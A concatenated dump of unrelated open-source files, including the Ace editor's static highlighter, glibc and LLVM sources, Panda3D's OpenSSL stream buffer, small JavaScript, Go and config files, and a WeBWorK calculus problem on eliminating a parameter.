(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * ***** END LICENSE BLOCK ***** */\n\ndefine('ace/ext/static_highlight', ['require', 'exports', 'module' , 'ace/edit_session', 'ace/layer/text', 'ace/config'], function(require, exports, module) {\n\n\nvar EditSession = require(\"../edit_session\").EditSession;\nvar TextLayer = require(\"../layer/text\").Text;\nvar baseStyles = \".ace_static_highlight {\\\nfont-family: 'Monaco', 'Menlo', 'Ubuntu Mono', 'Consolas', 'source-code-pro', 'Droid Sans Mono', monospace;\\\nfont-size: 12px;\\\n}\\\n.ace_static_highlight .ace_gutter {\\\nwidth: 25px !important;\\\ndisplay: block;\\\nfloat: left;\\\ntext-align: right;\\\npadding: 0 3px 0 0;\\\nmargin-right: 3px;\\\nposition: static !important;\\\n}\\\n.ace_static_highlight .ace_line { clear: both; }\\\n.ace_static_highlight .ace_gutter-cell {\\\n-moz-user-select: -moz-none;\\\n-khtml-user-select: none;\\\n-webkit-user-select: none;\\\nuser-select: none;\\\n}\";\nvar config = require(\"../config\");\n\nexports.render = function(input, mode, theme, lineStart, disableGutter, callback) {\n var waiting = 0;\n var modeCache = EditSession.prototype.$modes;\n if (typeof theme == \"string\") {\n waiting++;\n config.loadModule(['theme', theme], function(m) {\n theme = m;\n --waiting || done();\n });\n }\n\n if (typeof mode == \"string\") {\n waiting++;\n config.loadModule(['mode', mode], function(m) {\n if (!modeCache[mode]) modeCache[mode] = new m.Mode();\n mode = modeCache[mode];\n --waiting || done();\n });\n }\n function done() {\n var result = exports.renderSync(input, mode, theme, lineStart, disableGutter);\n return callback ? callback(result) : result;\n }\n return waiting || done();\n};\n\nexports.renderSync = function(input, mode, theme, lineStart, disableGutter) {\n lineStart = parseInt(lineStart || 1, 10);\n\n var session = new EditSession(\"\");\n session.setUseWorker(false);\n session.setMode(mode);\n\n var textLayer = new TextLayer(document.createElement(\"div\"));\n textLayer.setSession(session);\n textLayer.config = {\n characterWidth: 10,\n lineHeight: 20\n };\n\n session.setValue(input);\n\n var stringBuilder = [];\n var length = session.getLength();\n\n for(var ix = 0; ix < length; ix++) {\n stringBuilder.push(\"<div class='ace_line'>\");\n if (!disableGutter)\n stringBuilder.push(\"<span class='ace_gutter ace_gutter-cell' unselectable='on'>\" + (ix + lineStart) + \"</span>\");\n textLayer.$renderLine(stringBuilder, ix, true, false);\n stringBuilder.push(\"</div>\");\n }\n var html = \"<div class='\" + theme.cssClass + \"'>\" +\n \"<div class='ace_static_highlight'>\" +\n stringBuilder.join(\"\") +\n \"</div>\" +\n \"</div>\";\n\n textLayer.destroy();\n\n return {\n css: baseStyles + theme.cssText,\n html: html\n };\n};\n\n});\n"} {"text": "/* Machine-specific pthread type layouts. MIPS version.\n Copyright (C) 2005-2020 Free Software Foundation, Inc.\n This file is part of the GNU C Library.\n\n The GNU C Library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n The GNU C Library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with the GNU C Library. If not, see\n <https://www.gnu.org/licenses/>. */\n\n#ifndef _BITS_PTHREADTYPES_ARCH_H\n#define _BITS_PTHREADTYPES_ARCH_H\t1\n\n#include <bits/endian.h>\n\n#if _MIPS_SIM == _ABI64\n# define __SIZEOF_PTHREAD_ATTR_T 56\n# define __SIZEOF_PTHREAD_MUTEX_T 40\n# define __SIZEOF_PTHREAD_RWLOCK_T 56\n# define __SIZEOF_PTHREAD_BARRIER_T 32\n#else\n# define __SIZEOF_PTHREAD_ATTR_T 36\n# define __SIZEOF_PTHREAD_MUTEX_T 24\n# define __SIZEOF_PTHREAD_RWLOCK_T 32\n# define __SIZEOF_PTHREAD_BARRIER_T 20\n#endif\n#define __SIZEOF_PTHREAD_MUTEXATTR_T 4\n#define __SIZEOF_PTHREAD_COND_T 48\n#define __SIZEOF_PTHREAD_CONDATTR_T 4\n#define __SIZEOF_PTHREAD_RWLOCKATTR_T 8\n#define __SIZEOF_PTHREAD_BARRIERATTR_T 4\n\n#define __LOCK_ALIGNMENT\n#define __ONCE_ALIGNMENT\n\n#endif\t/* bits/pthreadtypes.h */"} {"text": "gcr.io/google_containers/kube-scheduler-arm:v1.15.1\n"} {"text": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0\n http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n <modelVersion>4.0.0</modelVersion>\n <groupId>com.sample</groupId>\n <artifactId>test-project-sample</artifactId>\n <version>1.0</version>\n\n <properties>\n <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n <cucumber.version>4.7.1</cucumber.version>\n </properties>\n\n <dependencies>\n <dependency>\n <groupId>io.cucumber</groupId>\n <artifactId>cucumber-java</artifactId>\n <version>${cucumber.version}</version>\n <scope>test</scope>\n </dependency>\n <dependency>\n <groupId>io.cucumber</groupId>\n <artifactId>cucumber-java8</artifactId>\n <version>${cucumber.version}</version>\n <scope>test</scope>\n </dependency>\n <dependency>\n <groupId>io.cucumber</groupId>\n <artifactId>cucumber-junit</artifactId>\n <version>${cucumber.version}</version>\n <scope>test</scope>\n </dependency>\n </dependencies>\n\n <build>\n <plugins>\n <plugin>\n <groupId>org.apache.maven.plugins</groupId>\n <artifactId>maven-compiler-plugin</artifactId>\n <version>3.3</version>\n <configuration>\n <source>1.8</source>\n <target>1.8</target>\n </configuration>\n </plugin>\n </plugins>\n </build>\n</project>\n\n"} {"text": "/*=========================================================================\n *\n * Copyright NumFOCUS\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*/\n#include <cassert>\n#include \"itkGPUContextManager.h\"\n\nnamespace itk\n{\n// static variable initialization\nGPUContextManager * GPUContextManager::m_Instance = nullptr;\n\nGPUContextManager *\nGPUContextManager::GetInstance()\n{\n if (m_Instance == nullptr)\n {\n m_Instance = new GPUContextManager();\n }\n return m_Instance;\n}\n\nvoid\nGPUContextManager::DestroyInstance()\n{\n m_Instance->Delete();\n m_Instance = nullptr;\n itkDebugStatement(std::cout << \"OpenCL context is destroyed.\" << std::endl);\n}\n\nGPUContextManager::GPUContextManager()\n{\n cl_int errid;\n\n // Get the platforms\n errid = clGetPlatformIDs(0, nullptr, &m_NumberOfPlatforms);\n OpenCLCheckError(errid, __FILE__, __LINE__, ITK_LOCATION);\n\n // Get NVIDIA platform by default\n m_Platform = OpenCLSelectPlatform(\"NVIDIA\");\n assert(m_Platform != nullptr);\n\n cl_device_type devType = CL_DEVICE_TYPE_GPU; // CL_DEVICE_TYPE_CPU;//\n\n // Get the devices\n m_Devices = OpenCLGetAvailableDevices(m_Platform, devType, &m_NumberOfDevices);\n\n // create context\n m_Context = clCreateContext(nullptr, m_NumberOfDevices, m_Devices, nullptr, nullptr, &errid);\n // m_Context = clCreateContext(0, m_NumberOfDevices, m_Devices, clLogMessagesToStdoutAPPLE, nullptr, &errid);\n\n OpenCLCheckError(errid, __FILE__, __LINE__, ITK_LOCATION);\n\n // create command queues\n m_CommandQueue = (cl_command_queue *)malloc(m_NumberOfDevices * sizeof(cl_command_queue));\n for (unsigned int i = 0; i < m_NumberOfDevices; i++)\n {\n m_CommandQueue[i] = clCreateCommandQueue(m_Context, m_Devices[i], 0, &errid);\n\n // Debug\n OpenCLPrintDeviceInfo(m_Devices[i], true);\n //\n OpenCLCheckError(errid, __FILE__, __LINE__, ITK_LOCATION);\n }\n\n // m_current_command_queue_id = 0; // default command queue id\n}\n\nGPUContextManager::~GPUContextManager()\n{\n cl_int errid;\n for (unsigned int i = 0; i < m_NumberOfDevices; i++)\n {\n errid = clReleaseCommandQueue(m_CommandQueue[i]);\n OpenCLCheckError(errid, __FILE__, __LINE__, ITK_LOCATION);\n }\n free(m_CommandQueue);\n errid = clReleaseContext(m_Context);\n OpenCLCheckError(errid, __FILE__, __LINE__, ITK_LOCATION);\n if (m_NumberOfDevices > 0)\n {\n free(m_Devices);\n }\n}\n\ncl_command_queue\nGPUContextManager::GetCommandQueue(int i)\n{\n if (i < 0 || i >= (int)m_NumberOfDevices)\n {\n printf(\"Error: requested queue id is not available. Default queue will be used (queue id = 0)\\n\");\n return m_CommandQueue[0];\n }\n\n // std::cout << \"Command queue \" << i << \" is requested \" << std::endl;\n\n return m_CommandQueue[i];\n}\n\ncl_device_id\nGPUContextManager::GetDeviceId(int i)\n{\n if (i < 0 || i >= (int)m_NumberOfDevices)\n {\n printf(\"Error: requested queue id is not available. Default queue will be used (queue id = 0)\\n\");\n return m_Devices[0];\n }\n return m_Devices[i];\n}\n\n} // namespace itk\n"} {"text": "//===-------------- PPCVSXCopy.cpp - VSX Copy Legalization ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// A pass which deals with the complexity of generating legal VSX register\n// copies to/from register classes which partially overlap with the VSX\n// register file.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/PPCPredicates.h\"\n#include \"PPC.h\"\n#include \"PPCHazardRecognizers.h\"\n#include \"PPCInstrBuilder.h\"\n#include \"PPCInstrInfo.h\"\n#include \"PPCMachineFunctionInfo.h\"\n#include \"PPCTargetMachine.h\"\n#include \"llvm/ADT/STLExtras.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/CodeGen/MachineFrameInfo.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineMemOperand.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/MC/MCAsmInfo.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/Support/raw_ostream.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"ppc-vsx-copy\"\n\nnamespace {\n // PPCVSXCopy pass - For copies between VSX registers and non-VSX registers\n // (Altivec and scalar floating-point registers), we need to transform the\n // copies into subregister copies with other restrictions.\n struct PPCVSXCopy : public MachineFunctionPass {\n static char ID;\n PPCVSXCopy() : MachineFunctionPass(ID) {\n initializePPCVSXCopyPass(*PassRegistry::getPassRegistry());\n }\n\n const TargetInstrInfo *TII;\n\n bool IsRegInClass(unsigned Reg, const TargetRegisterClass *RC,\n MachineRegisterInfo &MRI) {\n if (Register::isVirtualRegister(Reg)) {\n return RC->hasSubClassEq(MRI.getRegClass(Reg));\n } else if (RC->contains(Reg)) {\n return true;\n }\n\n return false;\n }\n\n bool IsVSReg(unsigned Reg, MachineRegisterInfo &MRI) {\n return IsRegInClass(Reg, &PPC::VSRCRegClass, MRI);\n }\n\n bool IsVRReg(unsigned Reg, MachineRegisterInfo &MRI) {\n return IsRegInClass(Reg, &PPC::VRRCRegClass, MRI);\n }\n\n bool IsF8Reg(unsigned Reg, MachineRegisterInfo &MRI) {\n return IsRegInClass(Reg, &PPC::F8RCRegClass, MRI);\n }\n\n bool IsVSFReg(unsigned Reg, MachineRegisterInfo &MRI) {\n return IsRegInClass(Reg, &PPC::VSFRCRegClass, MRI);\n }\n\n bool IsVSSReg(unsigned Reg, MachineRegisterInfo &MRI) {\n return IsRegInClass(Reg, &PPC::VSSRCRegClass, MRI);\n }\n\nprotected:\n bool processBlock(MachineBasicBlock &MBB) {\n bool Changed = false;\n\n MachineRegisterInfo &MRI = MBB.getParent()->getRegInfo();\n for (MachineInstr &MI : MBB) {\n if (!MI.isFullCopy())\n continue;\n\n MachineOperand &DstMO = MI.getOperand(0);\n MachineOperand &SrcMO = MI.getOperand(1);\n\n if ( IsVSReg(DstMO.getReg(), MRI) &&\n !IsVSReg(SrcMO.getReg(), MRI)) {\n // This is a copy *to* a VSX register from a non-VSX register.\n Changed = true;\n\n const TargetRegisterClass *SrcRC = &PPC::VSLRCRegClass;\n assert((IsF8Reg(SrcMO.getReg(), MRI) ||\n IsVSSReg(SrcMO.getReg(), MRI) ||\n IsVSFReg(SrcMO.getReg(), MRI)) &&\n \"Unknown source for a VSX copy\");\n\n Register NewVReg = MRI.createVirtualRegister(SrcRC);\n BuildMI(MBB, MI, MI.getDebugLoc(),\n TII->get(TargetOpcode::SUBREG_TO_REG), NewVReg)\n .addImm(1) // add 1, not 0, because there is no implicit clearing\n // of the high bits.\n .add(SrcMO)\n .addImm(PPC::sub_64);\n\n // The source of the original copy is now the new virtual register.\n SrcMO.setReg(NewVReg);\n } else if (!IsVSReg(DstMO.getReg(), MRI) &&\n IsVSReg(SrcMO.getReg(), MRI)) {\n // This is a copy *from* a VSX register to a non-VSX register.\n Changed = true;\n\n const TargetRegisterClass *DstRC = &PPC::VSLRCRegClass;\n assert((IsF8Reg(DstMO.getReg(), MRI) ||\n IsVSFReg(DstMO.getReg(), MRI) ||\n IsVSSReg(DstMO.getReg(), MRI)) &&\n \"Unknown destination for a VSX copy\");\n\n // Copy the VSX value into a new VSX register of the correct subclass.\n Register NewVReg = MRI.createVirtualRegister(DstRC);\n BuildMI(MBB, MI, MI.getDebugLoc(), TII->get(TargetOpcode::COPY),\n NewVReg)\n .add(SrcMO);\n\n // Transform the original copy into a subregister extraction copy.\n SrcMO.setReg(NewVReg);\n SrcMO.setSubReg(PPC::sub_64);\n }\n }\n\n return Changed;\n }\n\npublic:\n bool runOnMachineFunction(MachineFunction &MF) override {\n // If we don't have VSX on the subtarget, don't do anything.\n const PPCSubtarget &STI = MF.getSubtarget<PPCSubtarget>();\n if (!STI.hasVSX())\n return false;\n TII = STI.getInstrInfo();\n\n bool Changed = false;\n\n for (MachineFunction::iterator I = MF.begin(); I != MF.end();) {\n MachineBasicBlock &B = *I++;\n if (processBlock(B))\n Changed = true;\n }\n\n return Changed;\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n };\n}\n\nINITIALIZE_PASS(PPCVSXCopy, DEBUG_TYPE,\n \"PowerPC VSX Copy Legalization\", false, false)\n\nchar PPCVSXCopy::ID = 0;\nFunctionPass*\nllvm::createPPCVSXCopyPass() { return new PPCVSXCopy(); }\n\n"} {"text": "var QueryParam = require('lib/query-param')\n\nmodule.exports = RenameHook\n\nvar lookup = new WeakMap()\nvar renaming = null\n\nfunction RenameHook (obs, options) {\n if (!(this instanceof RenameHook)) return new RenameHook(obs, options)\n this.enabled = options.enabled\n this.onChange = options.onChange\n this.object = obs\n lookup.set(obs, this)\n}\n\nRenameHook.prototype.hook = function (node, prop, current) {\n if (current) {\n node.textContent = QueryParam(this.object, 'id').read()\n this.listener = current.listener\n this.listener.hook = this\n } else {\n this.listener = {\n handleEvent: handleEvent,\n hook: this\n }\n node.textContent = QueryParam(this.object, 'id').read()\n node.addEventListener('mouseup', this.listener, true)\n node.addEventListener('dblclick', this.listener, true)\n node.addEventListener('blur', this.listener, true)\n node.addEventListener('keydown', this.listener, true)\n }\n\n this.node = node\n}\n\nRenameHook.prototype.unhook = function (node, prop, next) {\n if (!next) {\n node.removeEventListener('mouseup', this.listener, true)\n node.removeEventListener('dblclick', this.listener, true)\n node.removeEventListener('blur', this.listener, true)\n node.removeEventListener('keydown', this.listener, true)\n }\n}\n\nRenameHook.prototype.rename = function (cb) {\n if (renaming !== this.object && resolve(this.enabled)) {\n this.node.contentEditable = true\n renaming = this.object\n\n var id = QueryParam(this.object, 'id')\n this.node.textContent = id.read()\n selectInside(this.node)\n }\n}\n\nRenameHook.prototype.save = function () {\n if (renaming === this.object) {\n var context = this.object.context\n var id = QueryParam(this.object, 'id')\n this.lastValue = id.read()\n this.value = this.node.textContent.trim()\n\n this.node.contentEditable = false\n clearSelection()\n\n if (this.value !== this.lastValue) {\n if (context && context.collection && context.collection.resolveAvailable) {\n this.value = context.collection.resolveAvailable(this.value)\n }\n\n id.set(this.value)\n\n if (this.onChange) {\n this.onChange(this.lastValue, this.value, this.object)\n }\n }\n\n renaming = null\n }\n}\n\nRenameHook.prototype.cancel = function () {\n if (renaming === this.object) {\n this.node.textContent = QueryParam(this.object, 'id').read()\n this.node.contentEditable = false\n clearSelection()\n renaming = null\n }\n}\n\nRenameHook.rename = function (obs, cb) {\n setTimeout(function () {\n var hook = lookup.get(obs)\n if (hook) {\n hook.rename(cb)\n }\n }, 100)\n}\n\nRenameHook.save = function (obs) {\n var hook = RenameHook.get(obs)\n if (hook) {\n hook.save()\n }\n}\n\nRenameHook.cancel = function (obs) {\n var hook = RenameHook.get(obs)\n if (hook) {\n hook.save()\n }\n}\n\nRenameHook.get = function (obs) {\n if (obs) {\n return lookup.get(obs)\n } else if (renaming) {\n return lookup.get(renaming)\n }\n}\n\nfunction handleEvent (e) {\n var hook = this.hook\n if (hook) {\n if (e.type === 'mouseup') {\n hook.rename()\n } else if (e.type === 'dblclick') {\n e.stopPropagation()\n } else if (e.type === 'keydown') {\n if (e.keyCode === 13) { // enter\n hook.save()\n e.preventDefault()\n } else if (e.keyCode === 27) { // esc\n hook.cancel()\n }\n } else if (e.type === 'blur') {\n hook.save()\n }\n }\n}\n\nfunction selectInside (element) {\n var range = document.createRange()\n range.selectNodeContents(element)\n var sel = window.getSelection()\n sel.removeAllRanges()\n sel.addRange(range)\n}\n\nfunction clearSelection () {\n var sel = window.getSelection()\n sel.removeAllRanges()\n}\n\nfunction resolve (val) {\n return typeof val === 'function' ? val() : val\n}\n"} {"text": "import Renderable\tfrom \"./Renderable.js\";\nimport gl, { VAO, ATTR_POSITION_LOC } from \"../gl.js\";\nimport { Vec3 }\tfrom \"../Maths.js\";\n\nclass BoundingBox extends Renderable{\n\tconstructor(box,matName){\n\t\tsuper(null,matName);\n\t\tthis.bounds = [ new Vec3(box.worldBounds[0]), new Vec3(box.worldBounds[1]) ];\n\t\tthis.drawMode = gl.ctx.LINES;\n\t\tthis.vao = this.genBox();\n\t}\n\n\tgenBox(){\n\t\t//build 8 points of the cube, Create the floor, then its the same thing but with Y Max instead of YMin.\n\t\tvar aryVert\t= [],\n\t\t\taryIdx\t= [],\n\t\t\tc\t\t= 4,\n\t\t\tb = [\tthis.bounds[0][0], this.bounds[0][1], this.bounds[0][2],\n\t\t\t\t\tthis.bounds[1][0], this.bounds[1][1], this.bounds[1][2] ];\n\n\t\tfor(var i=1; i < 5; i+=3){ \n\t\t\taryVert.push(\tb[0], b[i], b[2], c,\t//Floor Top Left Corner\n\t\t\t\t\t\t\tb[3], b[i], b[2], c,\t//Floor Top Right\n\t\t\t\t\t\t\tb[3], b[i], b[5], c,\t//Floor Bottom Right\n\t\t\t\t\t\t\tb[0], b[i], b[5], c);\t//Floor Bottom left\n\t\t}\n\n\t\t//Build up the indexes to connect the dots.\n\t\tvar ii,iu;\n\t\tfor(var i=0; i < 4; i++){\n\t\t\tii = (i+1)%4;\n\t\t\tiu = i+4;\n\t\t\taryIdx.push(i,ii, iu,ii+4, i,iu); //Draw bottom, Top, Then Side\n\t\t}\n\n\t\treturn VAO.standardRenderable(\"FungiBoundBox\",4,aryVert,null,null,aryIdx);\n\t}\n}\n\nexport { BoundingBox };"} {"text": "// Copyright 2013 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage terminal\n\nimport \"golang.org/x/sys/unix\"\n\nconst ioctlReadTermios = unix.TCGETS\nconst ioctlWriteTermios = unix.TCSETS\n"} {"text": "\"\"\"\nAPI for yt.frontends.gadget\n\n\n\n\n\"\"\"\n"} {"text": "/**\n * PANDA 3D SOFTWARE\n * Copyright (c) Carnegie Mellon University. All rights reserved.\n *\n * All use of this software is subject to the terms of the revised BSD\n * license. You should have received a copy of this license along\n * with this source code in a file named \"LICENSE.\"\n *\n * @file bioStreamBuf.cxx\n * @author drose\n * @date 2002-09-25\n */\n\n#include \"bioStreamBuf.h\"\n#include \"config_downloader.h\"\n#include \"openSSLWrapper.h\"\n#include <errno.h>\n\n#ifdef HAVE_OPENSSL\n\n#ifdef _WIN32\n #include <winsock2.h>\n #include <windows.h> // for WSAGetLastError()\n #undef X509_NAME\n#endif // _WIN32\n\n/**\n *\n */\nBioStreamBuf::\nBioStreamBuf() {\n _read_open = false;\n _write_open = false;\n\n#ifdef PHAVE_IOSTREAM\n _buffer = (char *)PANDA_MALLOC_ARRAY(8192);\n char *ebuf = _buffer + 8192;\n char *mbuf = _buffer + 4096;\n setg(_buffer, mbuf, mbuf);\n setp(mbuf, ebuf);\n\n#else\n allocate();\n // Chop the buffer in half. The bottom half goes to the get buffer; the top\n // half goes to the put buffer.\n char *b = base();\n char *t = ebuf();\n char *m = b + (t - b) / 2;\n setg(b, m, m);\n setp(b, m);\n#endif\n}\n\n/**\n *\n */\nBioStreamBuf::\n~BioStreamBuf() {\n close();\n#ifdef PHAVE_IOSTREAM\n PANDA_FREE_ARRAY(_buffer);\n#endif\n}\n\n/**\n *\n */\nvoid BioStreamBuf::\nopen(BioPtr *source) {\n _source = source;\n _read_open = true;\n _write_open = true;\n}\n\n/**\n *\n */\nvoid BioStreamBuf::\nclose() {\n sync();\n _source.clear();\n _read_open = false;\n _write_open = false;\n}\n\n/**\n * Called by the system ostream implementation when its internal buffer is\n * filled, plus one character.\n */\nint BioStreamBuf::\noverflow(int ch) {\n size_t n = pptr() - pbase();\n if (downloader_cat.is_spam()) {\n downloader_cat.spam()\n << \"BioStreamBuf::overflow, \" << n << \" bytes\\n\";\n }\n if (n != 0) {\n size_t num_wrote = write_chars(pbase(), n);\n pbump(-(int)n);\n if (num_wrote != n) {\n return EOF;\n }\n }\n\n if (ch != EOF) {\n // Store the next character back in the buffer.\n *pptr() = ch;\n pbump(1);\n }\n\n return 0;\n}\n\n/**\n * Called by the system iostream implementation to implement a flush\n * operation.\n */\nint BioStreamBuf::\nsync() {\n /*\n size_t n = egptr() - gptr();\n gbump(n);\n */\n\n size_t n = pptr() - pbase();\n\n if (downloader_cat.is_spam() && n != 0) {\n downloader_cat.spam()\n << \"BioStreamBuf::sync, \" << n << \" bytes\\n\";\n }\n\n size_t num_wrote = write_chars(pbase(), n);\n pbump(-(int)n);\n\n if (num_wrote != n) {\n return EOF;\n }\n\n return 0;\n}\n\n/**\n * Called by the system istream implementation when its internal buffer needs\n * more characters.\n */\nint BioStreamBuf::\nunderflow() {\n // Sometimes underflow() is called even if the buffer is not empty.\n if (gptr() >= egptr()) {\n size_t buffer_size = egptr() - eback();\n gbump(-(int)buffer_size);\n\n size_t num_bytes = buffer_size;\n\n // BIO_read might return -1 or -2 on eof or error, so we have to allow for\n // negative numbers.\n int read_count = BIO_read(*_source, gptr(), buffer_size);\n thread_consider_yield();\n\n if (read_count != (int)num_bytes) {\n // Oops, we didn't read what we thought we would.\n if (read_count <= 0) {\n // Immediately save the os error in case we screw up and do something\n // that will change its value before we can output it.\n#ifdef _WIN32\n int os_error = WSAGetLastError();\n#else\n int os_error = errno;\n#endif // _WIN32\n\n // Though BIO_eof() is tempting, it appears there are cases in which\n // that never returns true, if the socket is closed by the server.\n // But BIO_should_retry() *appears* to be reliable.\n _read_open = (BIO_should_retry(*_source) != 0);\n\n#ifdef IS_OSX\n // occassionally we get -1 on read_open on the mac the os_error is 35\n // which means \"Resource temporarily unavailable\".\n if (!_read_open && os_error == 35) {\n downloader_cat.warning() << \"forcing retry to true again and _read_open to true\\n\";\n BIO_set_retry_read(*_source);\n _read_open = true;\n }\n#endif\n if (!_read_open) {\n downloader_cat.info()\n << \"Lost connection to \"\n << _source->get_server_name() << \":\"\n << _source->get_port() << \" (\" << read_count << \").\\n\";\n OpenSSLWrapper::get_global_ptr()->notify_ssl_errors();\n\n SSL *ssl = nullptr;\n BIO_get_ssl(*_source, &ssl);\n if (ssl != nullptr) {\n downloader_cat.warning()\n << \"OpenSSL error code: \" << SSL_get_error(ssl, read_count)\n << \"\\n\";\n }\n\n#ifdef _WIN32\n downloader_cat.warning()\n << \"Windows error code: \" << os_error << \"\\n\";\n#else\n downloader_cat.warning()\n << \"Unix error code: \" << os_error << \"\\n\";\n#endif // _WIN32\n }\n gbump(num_bytes);\n return EOF;\n }\n\n // Slide what we did read to the top of the buffer.\n nassertr(read_count < (int)num_bytes, EOF);\n size_t delta = (int)num_bytes - read_count;\n memmove(gptr() + delta, gptr(), read_count);\n gbump(delta);\n }\n\n if (downloader_cat.is_spam()) {\n downloader_cat.spam()\n << \"read \" << read_count << \" bytes from \" << _source << \"\\n\";\n }\n }\n\n return (unsigned char)*gptr();\n}\n\n/**\n * Sends some characters to the dest stream. Does not return until all\n * characters are sent or the socket is closed, even if the underlying BIO is\n * non-blocking.\n */\nsize_t BioStreamBuf::\nwrite_chars(const char *start, size_t length) {\n if (length != 0) {\n size_t wrote_so_far = 0;\n\n int write_count = BIO_write(*_source, start, length);\n thread_consider_yield();\n while (write_count != (int)(length - wrote_so_far)) {\n if (write_count <= 0) {\n/*\n * http:www.openssl.orgdocscryptoBIO_s_bio.html \"Calls to BIO_write() will\n * place data in the buffer or request a retry if the buffer is full.\" when\n * the server is terminated, this seems to be the best way of detecting that\n * case on the client: a BIO write error without a retry request _write_open =\n * BIO_should_retry(*_source); _write_open = !BIO_eof(*_source);\n */\n _write_open = (BIO_should_write(*_source) != 0 || BIO_should_retry(*_source) != 0);\n if (!_write_open) {\n return wrote_so_far;\n }\n\n // Block on the underlying socket before we try to write some more.\n int fd = -1;\n BIO_get_fd(*_source, &fd);\n if (fd < 0) {\n downloader_cat.warning()\n << \"socket BIO has no file descriptor.\\n\";\n } else {\n if (downloader_cat.is_spam()) {\n downloader_cat.spam()\n << \"waiting to write to BIO.\\n\";\n }\n#if defined(HAVE_THREADS) && defined(SIMPLE_THREADS)\n // In SIMPLE_THREADS mode, instead of blocking, simply yield the\n // thread.\n thread_yield();\n#else\n // In any other threading mode, we actually want to block.\n fd_set wset;\n FD_ZERO(&wset);\n FD_SET(fd, &wset);\n select(fd + 1, nullptr, &wset, nullptr, nullptr);\n#endif // SIMPLE_THREADS\n }\n\n } else {\n // wrote some characters.\n wrote_so_far += write_count;\n if (downloader_cat.is_spam()) {\n downloader_cat.spam()\n << \"wrote \" << write_count << \" bytes to \" << _source << \"\\n\";\n }\n }\n\n // Try to write some more.\n write_count = BIO_write(*_source, start + wrote_so_far, length - wrote_so_far);\n if (downloader_cat.is_spam()) {\n downloader_cat.spam()\n << \"continued, wrote \" << write_count << \" bytes.\\n\";\n }\n thread_consider_yield();\n }\n if (downloader_cat.is_spam()) {\n downloader_cat.spam()\n << \"wrote \" << write_count << \" bytes to \" << _source << \"\\n\";\n }\n }\n\n return length;\n}\n\n#endif // HAVE_OPENSSL\n"} {"text": "fileFormatVersion: 2\nguid: 1ea25d5311f600249b00934fe2144450\nNativeFormatImporter:\n userData: \n"} {"text": "## DBsubject(Calculus - single variable)\n## DBchapter(Parametric)\n## DBsection(Eliminating the parameter)\n## Institution(W.H.Freeman)\n## Author(Christopher Sira)\n## Level(2)\n## MO(1)\n## TitleText1('Calculus: Early Transcendentals')\n## AuthorText1('Rogawski')\n## EditionText1('2')\n## Section1('11.1')\n## Problem1('13')\n## KEYWORDS('calculus', 'parametric', 'parametric equations')\n\nDOCUMENT();\nloadMacros(\n \"PGstandard.pl\",\n \"Parser.pl\",\n \"freemanMacros.pl\",\n \"PGcourse.pl\"\n);\n\nTEXT(beginproblem());\n$context = Context(\"Point\");\n$context->variables->add(t=>'Real');\n#$context->variables->add(x=>'Real');\nContext()->flags->set(reduceConstants=>0);\nContext()->flags->set(reduceConstantFunctions=>0);\n\n$a = Real(random(2, 8, 1));\n$b = Real(random(1, 10, 1));\n\n$xform = Formula(\"ln($a * t)\")->reduce;\n$txform = Formula(\"(e**x)/$a\")->reduce;\n\n$yform = Formula(\"$b - t\")->reduce;\n\n$ans = $yform->substitute(t=>$txform)->reduce();\n\n\nContext()->texStrings;\nBEGIN_TEXT\n\\{ textbook_ref_exact(\"Rogawski ET 2e\", \"11.1\",\"13\") \\}\n$PAR\nExpress \\( x = $xform \\), \\( y = $yform \\) in the form \\( y = f(x) \\) by eliminating the parameter.\n$PAR\ny = \\{ans_rule()\\}\nEND_TEXT\nContext()->normalStrings;\n\nANS($ans->cmp);\n\nContext()->texStrings;\nSOLUTION(EV3(<<'END_SOLUTION'));\n$PAR\n$SOL\nWe eliminate the parameter. Since \\( x = $xform \\), we have \\( t = $txform \\). Substituting into \\( y = $yform \\) we obtain\n$PAR\n\\( y = $ans \\)\nEND_SOLUTION\n\nENDDOCUMENT();\n"} 